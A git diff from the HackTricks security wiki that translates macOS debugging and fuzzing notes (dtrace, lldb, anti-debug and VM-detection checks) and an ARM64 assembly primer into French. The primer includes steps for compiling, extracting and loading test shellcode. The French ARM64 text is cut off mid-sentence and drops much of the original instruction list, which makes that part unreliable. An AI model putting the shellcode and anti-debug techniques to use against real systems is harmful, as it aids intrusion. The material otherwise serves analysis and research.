-Right clicking in a code object you can see **references to/from that object** or even change its name (this doesn't work in decompiled pseudocode): +En cliquant avec le bouton droit de la souris sur un objet de code, vous pouvez voir les **références à/depuis cet objet** ou même changer son nom (cela ne fonctionne pas dans le pseudocode décompilé) :
-Moreover, in the **middle down you can write python commands**. +De plus, dans le **milieu en bas, vous pouvez écrire des commandes python**. -#### Right panel +#### Panneau de droite -In the right panel you can see interesting information such as the **navigation history** (so you know how you arrived at the current situation), the **call grap**h where you can see all the **functions that call this function** and all the functions that **this function calls**, and **local variables** information. +Dans le panneau de droite, vous pouvez voir des informations intéressantes telles que l'**historique de navigation** (pour savoir comment vous êtes arrivé à la situation actuelle), le **graphique d'appel** où vous pouvez voir toutes les **fonctions qui appellent cette fonction** et toutes les fonctions que **cette fonction appelle**, et des informations sur les **variables locales**. ### dtruss - ```bash dtruss -c ls #Get syscalls of ls dtruss -c -p 1000 #get syscalls of PID 1000 ``` - ### ktrace -You can use this one even with **SIP activated** - +Vous pouvez utiliser celui-ci même avec **SIP activé**. ```bash ktrace trace -s -S -t c -c ls | grep "ls(" ``` - ### dtrace -It allows users access to applications at an extremely **low level** and provides a way for users to **trace** **programs** and even change their execution flow. Dtrace uses **probes** which are **placed throughout the kernel** and are at locations such as the beginning and end of system calls. +Il permet aux utilisateurs d'accéder aux applications à un niveau extrêmement **bas** et offre un moyen aux utilisateurs de **tracer** les **programmes** et même de changer leur flux d'exécution. Dtrace utilise des **sondes** qui sont **placées dans tout le noyau** et se trouvent à des emplacements tels que le début et la fin des appels système. -DTrace uses the **`dtrace_probe_create`** function to create a probe for each system call. These probes can be fired in the **entry and exit point of each system call**. The interaction with DTrace occur through /dev/dtrace which is only available for the root user. - -The available probes of dtrace can be obtained with: +DTrace utilise la fonction **`dtrace_probe_create`** pour créer une sonde pour chaque appel système. Ces sondes peuvent être déclenchées au **point d'entrée et de sortie de chaque appel système**. L'interaction avec DTrace se fait via /dev/dtrace qui n'est disponible que pour l'utilisateur root. +Les sondes disponibles de dtrace peuvent être obtenues avec: ```bash dtrace -l | head ID PROVIDER MODULE FUNCTION NAME @@ -176,26 +165,22 @@ dtrace -l | head 43 profile profile-97 44 profile profile-199 ``` +Le nom de la sonde se compose de quatre parties : le fournisseur, le module, la fonction et le nom (`fbt:mach_kernel:ptrace:entry`). Si vous ne spécifiez pas une partie du nom, Dtrace l'appliquera comme un joker. -The probe name consists of four parts: the provider, module, function, and name (`fbt:mach_kernel:ptrace:entry`). If you not specifies some part of the name, Dtrace will apply that part as a wildcard. +Pour configurer DTrace afin d'activer les sondes et de spécifier les actions à effectuer lorsqu'elles se déclenchent, nous devrons utiliser le langage D. -To configure DTrace to activate probes and to specify what actions to perform when they fire, we will need to use the D language. +Une explication plus détaillée et plus d'exemples peuvent être trouvés dans [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html) -A more detailed explanation and more examples can be found in [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html) +#### Exemples -#### Examples - -Run `man -k dtrace` to list the **DTrace scripts available**. Example: `sudo dtruss -n binary` - -* In line +Exécutez `man -k dtrace` pour lister les **scripts DTrace disponibles**. Exemple : `sudo dtruss -n binary` +* En ligne ```bash #Count the number of syscalls of each running process sudo dtrace -n 'syscall:::entry {@[execname] = count()}' ``` - * script - ```bash syscall:::entry /pid == $1/ @@ -233,61 +218,56 @@ syscall:::return #Log sys calls with values sudo dtrace -s syscalls_info.d -c "cat /etc/hosts" ``` - ### ProcessMonitor -[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) is a very useful tool to check the process related actions a process is performing (for example, monitor which new processes a process is creating). +[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) est un outil très utile pour vérifier les actions liées aux processus qu'un processus effectue (par exemple, surveiller les nouveaux processus qu'un processus crée). ### FileMonitor -[**FileMonitor**](https://objective-see.com/products/utilities.html#FileMonitor) allows to monitor file events (such as creation, modifications, and deletions) providing detailed information about such events. +[**FileMonitor**](https://objective-see.com/products/utilities.html#FileMonitor) permet de surveiller les événements de fichiers (tels que la création, la modification et la suppression) en fournissant des informations détaillées sur ces événements. ### fs\_usage -Allows to follow actions performed by processes: - +Permet de suivre les actions effectuées par les processus : ```bash fs_usage -w -f filesys ls #This tracks filesystem actions of proccess names containing ls fs_usage -w -f network curl #This tracks network actions ``` - ### TaskExplorer -[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) is useful to see the **libraries** used by a binary, the **files** it's using and the **network** connections.\ -It also checks the binary processes against **virustotal** and show information about the binary. +[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) est utile pour voir les **bibliothèques** utilisées par un binaire, les **fichiers** qu'il utilise et les **connexions réseau**.\ +Il vérifie également les processus binaires avec **virustotal** et affiche des informations sur le binaire. ### lldb -**lldb** is the de **facto tool** for **macOS** binary **debugging**. - +**lldb** est l'outil de **débogage** de binaire **macOS** de facto. ```bash lldb ./malware.bin lldb -p 1122 lldb -n malware.bin lldb -n malware.bin --waitfor ``` - -| **(lldb) Command** | **Description** | +| **Commande (lldb)** | **Description** | | ----------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **run (r)** | Starting execution, which will continue unabated until a breakpoint is hit or the process terminates. | -| **continue (c)** | Continue execution of the debugged process. | -| **nexti (n / ni)** | Execute the next instruction. This command will skip over function calls. | -| **stepi (s / si)** | Execute the next instruction. Unlike the nexti command, this command will step into function calls. | -| **finish (f)** | Execute the rest of the instructions in the current function (“frame”) return and halt. | -| **control + c** | Pause execution. If the process has been run (r) or continued (c), this will cause the process to halt ...wherever it is currently executing. | -| **breakpoint (b)** |

b main

b -[NSDictionary objectForKey:]

b 0x0000000100004bd9

br l #Breakpoint list

br e/dis <num> #Enable/Disable breakpoint

breakpoint delete <num>
b set -n main --shlib <lib_name>

| -| **help** |

help breakpoint #Get help of breakpoint command

help memory write #Get help to write into the memory

| +| **run (r)** | Démarre l'exécution, qui se poursuivra sans interruption jusqu'à ce qu'un point d'arrêt soit atteint ou que le processus se termine. | +| **continue (c)** | Continue l'exécution du processus en cours de débogage. | +| **nexti (n / ni)** | Exécute l'instruction suivante. Cette commande sautera les appels de fonction. | +| **stepi (s / si)** | Exécute l'instruction suivante. Contrairement à la commande nexti, cette commande entrera dans les appels de fonction. | +| **finish (f)** | Exécute le reste des instructions dans la fonction ("frame") en cours, retourne et s'arrête. | +| **control + c** | Interrompt l'exécution. Si le processus a été exécuté (r) ou continué (c), cela provoquera l'arrêt du processus ... où qu'il soit en train d'être exécuté. | +| **breakpoint (b)** |

b main

b -[NSDictionary objectForKey:]

b 0x0000000100004bd9

br l #Liste des points d'arrêt

br e/dis <num> #Activer/Désactiver le point d'arrêt

breakpoint delete <num>
b set -n main --shlib <lib_name>

| +| **help** |

help breakpoint #Obtenir de l'aide sur la commande breakpoint

help memory write #Obtenir de l'aide pour écrire dans la mémoire

| | **reg** |

reg read

reg read $rax

reg write $rip 0x100035cc0

| -| **x/s \** | Display the memory as a null-terminated string. | -| **x/i \** | Display the memory as assembly instruction. | -| **x/b \** | Display the memory as byte. | -| **print object (po)** |

This will print the object referenced by the param

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Note that most of Apple’s Objective-C APIs or methods return objects, and thus should be displayed via the “print object” (po) command. If po doesn't produce a meaningful output use x/b

| -| **memory** |

memory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #Write AAAA in that address
memory write -f s $rip+0x11f+7 "AAAA" #Write AAAA in the addr

| -| **disassembly** |

dis #Disas current function
dis -c 6 #Disas 6 lines
dis -c 0x100003764 -e 0x100003768 # From one add until the other
dis -p -c 4 # Start in current address disassembling

| -| **parray** | parray 3 (char \*\*)$x1 # Check array of 3 components in x1 reg | +| **x/s \** | Affiche la mémoire sous forme de chaîne terminée par un caractère nul. | +| **x/i \** | Affiche la mémoire sous forme d'instruction d'assemblage. | +| **x/b \** | Affiche la mémoire sous forme de byte. | +| **print object (po)** |

Cela affichera l'objet référencé par le paramètre

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Notez que la plupart des API ou méthodes Objective-C d'Apple renvoient des objets et doivent donc être affichées via la commande "print object" (po). Si po ne produit pas de sortie significative, utilisez x/b

| +| **memory** |

memory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #Écrire AAAA à cette adresse
memory write -f s $rip+0x11f+7 "AAAA" #Écrire AAAA à l'adresse

| +| **disassembly** |

dis #Désassemble la fonction en cours
dis -c 6 #Désassemble 6 lignes
dis -c 0x100003764 -e 0x100003768 # De l'une à l'autre
dis -p -c 4 # Commence à l'adresse actuelle à désassembler

| +| **parray** | parray 3 (char \*\*)$x1 # Vérifiez le tableau de 3 composants dans le registre x1 | {% hint style="info" %} -When calling the **`objc_sendMsg`** function, the **rsi** register holds the **name of the method** as a null-terminated (“C”) string. To print the name via lldb do: +Lors de l'appel de la fonction **`objc_sendMsg`**, le registre **rsi** contient le **nom de la méthode** sous forme de chaîne terminée par un caractère nul ("C"). Pour afficher le nom via lldb, faites : `(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"` @@ -297,30 +277,29 @@ When calling the **`objc_sendMsg`** function, the **rsi** register holds the **n `(lldb) reg read $rsi: rsi = 0x00000001000f1576 "startMiningWithPort:password:coreCount:slowMemory:currency:"` {% endhint %} -### Anti-Dynamic Analysis +### Anti-Analyse Dynamique -#### VM detection +#### Détection de la VM -* The command **`sysctl hw.model`** returns "Mac" when the **host is a MacOS** but something different when it's a VM. -* Playing with the values of **`hw.logicalcpu`** and **`hw.physicalcpu`** some malwares try to detect if it's a VM. -* Some malwares can also **detect** if the machine is **VMware** based on the MAC address (00:50:56). -* It's also possible to find **if a process is being debugged** with a simple code such us: - * `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //process being debugged }` -* It can also invoke the **`ptrace`** system call with the **`PT_DENY_ATTACH`** flag. This **prevents** a deb**u**gger from attaching and tracing. - * You can check if the **`sysctl` \*\* or**`ptrace`\*\* function is being **imported** (but the malware could import it dynamically) - * As noted in this writeup, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\ - “_The message Process # exited with **status = 45 (0x0000002d)** is usually a tell-tale sign that the debug target is using **PT\_DENY\_ATTACH**_” +* La commande **`sysctl hw.model`** renvoie "Mac" lorsque l'hôte est un MacOS, mais quelque chose de différent lorsqu'il s'agit d'une VM. +* En jouant avec les valeurs de **`hw.logicalcpu`** et **`hw.physicalcpu`**, certains malwares essaient de détecter s'il s'agit d'une VM. +* Certains malwares peuvent également **détecter** si la machine est basée sur VMware en fonction de l'adresse MAC (00:50:56). +* Il est également possible de savoir si un processus est en cours de débogage avec un code simple tel que : + * `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //processus en cours de débogage }` +* Il peut également invoquer l'appel système **`ptrace`** avec le drapeau **`PT_DENY_ATTACH`**. Cela **empêche** un débogueur de s'attacher et de tracer. + * Vous pouvez vérifier si la fonction **`sysctl`** ou **`ptrace`** est **importée** (mais le malware pourrait l'importer dynamiquement) + * Comme indiqué dans cet article, "[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)":\ + "_Le message Process # exited with **status = 45 (0x0000002d)** est généralement un signe révélateur que la cible de débogage utilise **PT\_DENY\_ATTACH**_" ## Fuzzing ### [ReportCrash](https://ss64.com/osx/reportcrash.html) -ReportCrash **analyzes crashing processes and saves a crash report to disk**. A crash report contains information that can **help a developer diagnose** the cause of a crash.\ -For applications and other processes **running in the per-user launchd context**, ReportCrash runs as a LaunchAgent and saves crash reports in the user's `~/Library/Logs/DiagnosticReports/`\ -For daemons, other processes **running in the system launchd context** and other privileged processes, ReportCrash runs as a LaunchDaemon and saves crash reports in the system's `/Library/Logs/DiagnosticReports` - -If you are worried about crash reports **being sent to Apple** you can disable them. If not, crash reports can be useful to **figure out how a server crashed**. +ReportCrash **analyse les processus en cours de plantage et enregistre un rapport de plantage sur le disque**. Un rapport de plantage contient des informations qui peuvent aider un développeur à diagnostiquer la cause d'un plantage.\ +Pour les applications et autres processus **exécutés dans le contexte de lancement par utilisateur**, ReportCrash s'exécute en tant que LaunchAgent et enregistre les rapports de plantage dans `~/Library/Logs/DiagnosticReports/` de l'utilisateur.\ +Pour les démons, les autres processus **exécutés dans le contexte de lancement système** et les autres processus privilégiés, ReportCrash s'exécute en tant que LaunchDaemon et enregistre les rapports de plantage dans `/Library/Logs/DiagnosticReports` du système. +Si vous êtes préoccupé par le fait que les rapports de plantage soient envoyés à Apple, vous pouvez les désactiver. Sinon, les rapports de plantage peuvent être utiles pour **déterminer comment un serveur a planté**. ```bash #To disable crash reporting: launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist @@ -330,52 +309,47 @@ sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Roo launchctl load -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.plist ``` +### Sommeil -### Sleep - -While fuzzing in a MacOS it's important to not allow the Mac to sleep: +Lors du fuzzing sur un MacOS, il est important de ne pas permettre au Mac de dormir : * systemsetup -setsleep Never -* pmset, System Preferences +* pmset, Préférences Système * [KeepingYouAwake](https://github.com/newmarcel/KeepingYouAwake) -#### SSH Disconnect +#### Déconnexion SSH -If you are fuzzing via a SSH connection it's important to make sure the session isn't going to day. So change the sshd\_config file with: +Si vous faites du fuzzing via une connexion SSH, il est important de s'assurer que la session ne va pas se terminer. Pour cela, modifiez le fichier sshd\_config avec : * TCPKeepAlive Yes * ClientAliveInterval 0 * ClientAliveCountMax 0 - ```bash sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist ``` +### Gestionnaires internes -### Internal Handlers +[**Consultez cette section**](../#file-extensions-apps) pour savoir comment trouver quelle application est responsable de **la gestion du schéma ou du protocole spécifié**. -[**Checkout this section**](../#file-extensions-apps) to find out how you can find which app is responsible of **handling the specified scheme or protocol**. - -### Enumerating Network Processes - -This interesting to find processes that are managing network data: +### Énumération des processus réseau +Il est intéressant de trouver les processus qui gèrent les données réseau : ```bash dtrace -n 'syscall::recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' >> recv.log #wait some time sort -u recv.log > procs.txt cat procs.txt ``` +Ou utilisez `netstat` ou `lsof` -Or use `netstat` or `lsof` - -### More Fuzzing MacOS Info +### Plus d'informations sur le fuzzing MacOS * [https://github.com/bnagy/slides/blob/master/OSXScale.pdf](https://github.com/bnagy/slides/blob/master/OSXScale.pdf) * [https://github.com/bnagy/francis/tree/master/exploitaben](https://github.com/bnagy/francis/tree/master/exploitaben) * [https://github.com/ant4g0nist/crashwrangler](https://github.com/ant4g0nist/crashwrangler) -## References +## Références * [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS) * [**https://www.youtube.com/watch?v=T5xfL9tEg44**](https://www.youtube.com/watch?v=T5xfL9tEg44) @@ -385,10 +359,10 @@ Or use `netstat` or `lsof` ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index 34ce711f7..ab6c7e42f 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -1,106 +1,49 @@ -# Introduction to ARM64 +# Introduction à ARM64 -
+ARM64, également connu sous le nom d'ARMv8-A, est une architecture de processeur 64 bits utilisée dans différents types d'appareils, y compris les smartphones, les tablettes, les serveurs et même certains ordinateurs personnels haut de gamme (macOS). C'est un produit d'ARM Holdings, une entreprise connue pour ses conceptions de processeurs économes en énergie. -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +### Registres -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +ARM64 dispose de **31 registres généraux**, étiquetés `x0` à `x30`. Chacun peut stocker une valeur de **64 bits** (8 octets). Pour les opérations qui ne nécessitent que des valeurs de 32 bits, les mêmes registres peuvent être accessibles en mode 32 bits en utilisant les noms w0 à w30. -
+1. **`x0`** à **`x7`** - Ceux-ci sont généralement utilisés comme registres temporaires et pour passer des paramètres aux sous-routines. + * **`x0`** transporte également les données de retour d'une fonction. +2. **`x8`** - Dans le noyau Linux, `x8` est utilisé comme numéro d'appel système pour l'instruction `svc`. **Dans macOS, c'est x16 qui est utilisé !** +3. **`x9`** à **`x15`** - Registres temporaires, souvent utilisés pour les variables locales. +4. **`x16`** et **`x17`** - Registres temporaires, également utilisés pour les appels de fonctions indirects et les stubs PLT (Procedure Linkage Table). + * **`x16`** est utilisé comme **numéro d'appel système** pour l'instruction **`svc`**. +5. **`x18`** - Registre de plateforme. Sur certaines plates-formes, ce registre est réservé à des utilisations spécifiques à la plate-forme. +6. **`x19`** à **`x28`** - Ceux-ci sont des registres sauvegardés par l'appelé. Une fonction doit préserver les valeurs de ces registres pour son appelant. +7. **`x29`** - Pointeur de cadre. +8. **`x30`** - Registre de lien. Il contient l'adresse de retour lorsqu'une instruction `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) est exécutée. +9. **`sp`** - Pointeur de pile, utilisé pour suivre le sommet de la pile. +10. **`pc`** - Compteur de programme, qui pointe vers la prochaine instruction à exécuter. -## **Introduction to ARM64** +### Convention d'appel -ARM64, also known as ARMv8-A, is a 64-bit processor architecture used in various types of devices including smartphones, tablets, servers, and even some high-end personal computers (macOS). It's a product of ARM Holdings, a company known for its energy-efficient processor designs. +La convention d'appel ARM64 spécifie que les **huit premiers paramètres** d'une fonction sont passés dans les registres **`x0` à `x7`**. Les **paramètres supplémentaires** sont passés sur la **pile**. La **valeur de retour** est renvoyée dans le registre **`x0`**, ou dans **`x1`** également **s'il s'agit de 128 bits**. Les registres **`x19`** à **`x30`** et **`sp`** doivent être **préservés** lors des appels de fonction. -### **Registers** +Lors de la lecture d'une fonction en assembleur, recherchez le **prologue et l'épilogue de la fonction**. Le **prologue** implique généralement **la sauvegarde du pointeur de cadre (`x29`)**, **la configuration** d'un **nouveau pointeur de cadre**, et **l'allocation d'espace de pile**. L'**épilogue** implique généralement **la restauration du pointeur de cadre sauvegardé** et le **retour** de la fonction. -ARM64 has **31 general-purpose registers**, labeled `x0` through `x30`. Each can store a **64-bit** (8-byte) value. For operations that require only 32-bit values, the same registers can be accessed in a 32-bit mode using the names w0 through w30. +### Instructions courantes -1. **`x0`** to **`x7`** - These are typically used as scratch registers and for passing parameters to subroutines. - * **`x0`** also carries the return data of a function -2. **`x8`** - In the Linux kernel, `x8` is used as the system call number for the `svc` instruction. **In macOS the x16 is the one used!** -3. **`x9`** to **`x15`** - More temporary registers, often used for local variables. -4. **`x16`** and **`x17`** - Temporary registers, also used for indirect function calls and PLT (Procedure Linkage Table) stubs. - * **`x16`** is used as the **system call number** for the **`svc`** instruction. -5. **`x18`** - Platform register. On some platforms, this register is reserved for platform-specific uses. -6. **`x19`** to **`x28`** - These are callee-saved registers. A function must preserve these registers' values for its caller. -7. **`x29`** - **Frame pointer**. -8. **`x30`** - Link register. It holds the return address when a `BL` (Branch with Link) or `BLR` (Branch with Link to Register) instruction is executed. -9. **`sp`** - **Stack pointer**, used to keep track of the top of the stack. -10. **`pc`** - **Program counter**, which points to the next instruction to be executed. - -### **Calling Convention** - -The ARM64 calling convention specifies that the **first eight parameters** to a function are passed in registers **`x0` through `x7`**. **Additional** parameters are passed on the **stack**. The **return** value is passed back in register **`x0`**, or in **`x1`** as well **if it's 128 bits**. The **`x19`** to **`x30`** and **`sp`** registers must be **preserved** across function calls. - -When reading a function in assembly, look for the **function prologue and epilogue**. The **prologue** usually involves **saving the frame pointer (`x29`)**, **setting** up a **new frame pointer**, and a**llocating stack space**. The **epilogue** usually involves **restoring the saved frame pointer** and **returning** from the function. - -### **Common Instructions** - -ARM64 instructions generally have the **format `opcode dst, src1, src2`**, where **`opcode`** is the **operation** to be performed (such as `add`, `sub`, `mov`, etc.), **`dst`** is the **destination** register where the result will be stored, and **`src1`** and **`src2`** are the **source** registers. Immediate values can also be used in place of source registers. - -* **`mov`**: **Move** a value from one **register** to another. - * Example: `mov x0, x1` — This moves the value from `x1` to `x0`. -* **`ldr`**: **Load** a value from **memory** into a **register**. - * Example: `ldr x0, [x1]` — This loads a value from the memory location pointed to by `x1` into `x0`. -* **`str`**: **Store** a value from a **register** into **memory**. - * Example: `str x0, [x1]` — This stores the value in `x0` into the memory location pointed to by `x1`. -* **`ldp`**: **Load Pair of Registers**. This instruction **loads two registers** from **consecutive memory** locations. The memory address is typically formed by adding an offset to the value in another register. - * Example: `ldp x0, x1, [x2]` — This loads `x0` and `x1` from the memory locations at `x2` and `x2 + 8`, respectively. -* **`stp`**: **Store Pair of Registers**. This instruction **stores two registers** to **consecutive memory** locations. The memory address is typically formed by adding an offset to the value in another register. - * Example: `stp x0, x1, [x2]` — This stores `x0` and `x1` to the memory locations at `x2` and `x2 + 8`, respectively. -* **`add`**: **Add** the values of two registers and store the result in a register. - * Example: `add x0, x1, x2` — This adds the values in `x1` and `x2` together and stores the result in `x0`. -* **`sub`**: **Subtract** the values of two registers and store the result in a register. - * Example: `sub x0, x1, x2` — This subtracts the value in `x2` from `x1` and stores the result in `x0`. -* **`mul`**: **Multiply** the values of **two registers** and store the result in a register. - * Example: `mul x0, x1, x2` — This multiplies the values in `x1` and `x2` and stores the result in `x0`. -* **`div`**: **Divide** the value of one register by another and store the result in a register. - * Example: `div x0, x1, x2` — This divides the value in `x1` by `x2` and stores the result in `x0`. -* **`bl`**: **Branch** with link, used to **call** a **subroutine**. Stores the **return address in `x30`**. - * Example: `bl myFunction` — This calls the function `myFunction` and stores the return address in `x30`. -* **`blr`**: **Branch** with Link to Register, used to **call** a **subroutine** where the target is **specified** in a **register**. Stores the return address in `x30`. - * Example: `blr x1` — This calls the function whose address is contained in `x1` and stores the return address in `x30`. -* **`ret`**: **Return** from **subroutine**, typically using the address in **`x30`**. - * Example: `ret` — This returns from the current subroutine using the return address in `x30`. -* **`cmp`**: **Compare** two registers and set condition flags. - * Example: `cmp x0, x1` — This compares the values in `x0` and `x1` and sets the condition flags accordingly. -* **`b.eq`**: **Branch if equal**, based on the previous `cmp` instruction. - * Example: `b.eq label` — If the previous `cmp` instruction found two equal values, this jumps to `label`. -* **`b.ne`**: **Branch if Not Equal**. This instruction checks the condition flags (which were set by a previous comparison instruction), and if the compared values were not equal, it branches to a label or address. - * Example: After a `cmp x0, x1` instruction, `b.ne label` — If the values in `x0` and `x1` were not equal, this jumps to `label`. -* **`cbz`**: **Compare and Branch on Zero**. This instruction compares a register with zero, and if they are equal, it branches to a label or address. - * Example: `cbz x0, label` — If the value in `x0` is zero, this jumps to `label`. -* **`cbnz`**: **Compare and Branch on Non-Zero**. This instruction compares a register with zero, and if they are not equal, it branches to a label or address. - * Example: `cbnz x0, label` — If the value in `x0` is non-zero, this jumps to `label`. -* **`adrp`**: Compute the **page address of a symbol** and store it in a register. - * Example: `adrp x0, symbol` — This computes the page address of `symbol` and stores it in `x0`. -* **`ldrsw`**: **Load** a signed **32-bit** value from memory and **sign-extend it to 64** bits. - * Example: `ldrsw x0, [x1]` — This loads a signed 32-bit value from the memory location pointed to by `x1`, sign-extends it to 64 bits, and stores it in `x0`. -* **`stur`**: **Store a register value to a memory location**, using an offset from another register. - * Example: `stur x0, [x1, #4]` — This stores the value in `x0` into the memory ddress that is 4 bytes greater than the address currently in `x1`. -* **`svc`** : Make a **system call**. It stands for "Supervisor Call". When the processor executes this instruction, it **switches from user mode to kernel mode** and jumps to a specific location in memory where the **kernel's system call handling** code is located. - * Example: - - ```armasm - mov x8, 93 ; Load the system call number for exit (93) into register x8. - mov x0, 0 ; Load the exit status code (0) into register x0. - svc 0 ; Make the system call. - ``` +Les instructions ARM64 ont généralement le **format `opcode dst, src1, src2`**, où **`opcode`** est l'**opération** à effectuer (telle que `add`, `sub`, `mov`, etc.), **`dst`** est le registre de **destination** où le résultat sera stocké, et **`src1`** et **`src2`** sont les registres de **source**. Des valeurs immédiates peuvent également être utilisées à la place des registres source. +* **`mov`** : **Déplacer** une valeur d'un **registre** à un autre. + * Exemple : `mov x0, x1` - Cela déplace la valeur de `x1` vers `x0`. +* **`ldr`** : **Charger** une valeur de la **mémoire** dans un **registre**. + * Exemple : `ldr x0, [x1]` - Cela charge une valeur de l'emplacement mémoire pointé par `x1` dans `x0`. +* **`str`** : **Stocker** une valeur d'un **registre** dans la **mémoire**. + * Exemple : `str x0, [x1]` - C ## macOS -### syscalls +### appels système -Check out [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). +Consultez [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). ### Shellcodes -To compile: +Pour compiler : {% code overflow="wrap" %} ```bash @@ -109,19 +52,16 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm ``` {% endcode %} -To extract the bytes: - +Pour extraire les octets : ```bash # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do echo -n '\\x'$c done ``` -
-C code to test the shellcode - +Code C pour tester le shellcode ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader @@ -167,15 +107,14 @@ int main(int argc, char **argv) { return 0; } ``` -
